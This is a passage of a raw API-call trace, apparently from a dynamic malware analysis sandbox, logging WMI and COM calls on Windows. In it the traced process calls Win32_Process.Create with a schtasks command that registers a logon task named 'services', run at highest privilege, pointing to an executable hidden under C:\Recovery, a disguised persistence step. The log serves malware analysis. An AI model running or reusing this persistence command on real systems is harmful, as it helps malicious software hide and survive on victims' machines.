puCount=0x1b2fd8a0*=0x2) returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0ef0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0059.674] IWbemServices:GetObject (in: This=0x1bea7320, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1beba2d0, ppCallResult=0x0) returned 0x0 [0059.719] IWbemClassObject:GetMethod (in: This=0x1beba2d0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1beba640, ppOutSignature=0x1b2fd9e0*=0x1beba9b0) returned 0x0 [0059.719] IWbemClassObject:SpawnInstance (in: This=0x1beba640, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x11f1f50) returned 0x0 [0059.720] IWbemClassObject:Get (in: This=0x11f1f50, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2d588*=0, plFlavor=0x2a2d58c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2d588*=8, plFlavor=0x2a2d58c*=32) returned 0x0 [0059.720] IWbemClassObject:Get (in: This=0x11f1f50, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2d588*=8, plFlavor=0x2a2d58c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2d588*=8, plFlavor=0x2a2d58c*=32) returned 0x0 [0059.720] IWbemClassObject:Put (This=0x11f1f50, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"services\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0059.720] IWbemClassObject:Get (in: This=0x11f1f50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2d618*=0, plFlavor=0x2a2d61c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2d618*=13, plFlavor=0x2a2d61c*=32) returned 0x0 [0059.721] IWbemClassObject:Get (in: This=0x11f1f50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2d618*=13, plFlavor=0x2a2d61c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2d618*=13, plFlavor=0x2a2d61c*=32) returned 0x0 [0059.721] IUnknown:QueryInterface (in: This=0x1beb9bf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1beb9bf0) returned 0x0 [0059.721] IUnknown:QueryInterface (in: This=0x1beb9bf0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0059.721] IUnknown:QueryInterface (in: This=0x1beb9bf0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0059.721] IUnknown:AddRef (This=0x1beb9bf0) returned 0x3 [0059.721] IUnknown:QueryInterface (in: This=0x1beb9bf0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0059.721] IUnknown:QueryInterface (in: This=0x1beb9bf0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0059.721] IUnknown:QueryInterface (in: This=0x1beb9bf0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1beb9bf8) returned 0x0 [0059.721] IMarshal:GetUnmarshalClass (in: This=0x1beb9bf8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0059.721] IUnknown:Release (This=0x1beb9bf8) returned 0x3 [0059.721] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0059.722] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0059.722] IUnknown:QueryInterface (in: This=0x1beb9bf0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0059.722] IUnknown:Release (This=0x1beb9bf0) returned 0x2 [0059.722] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0059.722] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0059.722] IUnknown:QueryInterface (in: This=0x1beb9bf0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0059.722] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0059.722] IUnknown:QueryInterface (in: This=0x1beb9bf0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0059.722] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0059.722] IUnknown:AddRef (This=0x1beb9bf0) returned 0x3 [0059.722] IWbemClassObject:Put (This=0x11f1f50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1beb9bf0, varVal2=0x0), Type=0) returned 0x0 [0059.722] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0bf0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0059.722] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0bf0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0059.723] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0bf0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0059.723] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0b30, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0059.723] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0059.723] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.723] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0bf0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0059.723] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0bf0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0059.723] IWbemServices:ExecMethod (in: This=0x1bea7320, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x11f1f50, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1becdce0, ppCallResult=0x0) returned 0x0 [0060.041] IWbemClassObject:Get (in: This=0x1becdce0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2d930*=0, plFlavor=0x2a2d934*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xef4, varVal2=0x0), pType=0x2a2d930*=19, plFlavor=0x2a2d934*=0) returned 0x0 [0060.041] IWbemClassObject:Get (in: This=0x1becdce0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2d930*=19, plFlavor=0x2a2d934*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xef4, varVal2=0x0), pType=0x2a2d930*=19, plFlavor=0x2a2d934*=0) returned 0x0 [0060.042] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0060.042] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0060.042] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0060.042] IUnknown:Release (This=0x111f638) returned 0x1 [0060.045] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bec5fe0) returned 0x0 [0060.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec5fe0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0060.045] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec5fe0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea1070) returned 0x0 [0060.045] WbemDefPath:IUnknown:Release (This=0x1bec5fe0) returned 0x0 [0060.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea1070) returned 0x0 [0060.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0060.046] WbemDefPath:IUnknown:AddRef (This=0x1bea1070) returned 0x3 [0060.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0060.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0060.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bec6020) returned 0x0 [0060.046] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec6020, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.046] WbemDefPath:IUnknown:Release (This=0x1bec6020) returned 0x3 [0060.046] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0060.046] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0060.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0060.046] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x2 [0060.046] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x1 [0060.046] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0060.046] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0060.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea1070) returned 0x0 [0060.047] WbemDefPath:IUnknown:AddRef (This=0x1bea1070) returned 0x3 [0060.047] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x2 [0060.047] WbemDefPath:IWbemPath:SetText (This=0x1bea1070, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0060.047] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1070, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0060.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1070, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0060.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1070, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0060.047] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1070, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0060.047] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1070, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0060.047] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1070, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0060.047] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0060.047] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0060.047] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0060.047] IUnknown:Release (This=0x111f638) returned 0x1 [0060.049] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bec6060) returned 0x0 [0060.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec6060, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0060.050] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec6060, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea1130) returned 0x0 [0060.050] WbemDefPath:IUnknown:Release (This=0x1bec6060) returned 0x0 [0060.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea1130) returned 0x0 [0060.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0060.050] WbemDefPath:IUnknown:AddRef (This=0x1bea1130) returned 0x3 [0060.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0060.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0060.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bec60a0) returned 0x0 [0060.050] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec60a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.050] WbemDefPath:IUnknown:Release (This=0x1bec60a0) returned 0x3 [0060.050] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0060.051] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0060.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0060.051] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x2 [0060.051] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x1 [0060.051] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0060.051] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0060.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea1130) returned 0x0 [0060.051] WbemDefPath:IUnknown:AddRef (This=0x1bea1130) returned 0x3 [0060.051] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x2 [0060.051] WbemDefPath:IWbemPath:SetText (This=0x1bea1130, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0060.051] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0060.051] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0060.051] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0060.051] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1130, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0060.051] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0060.051] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1130, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) 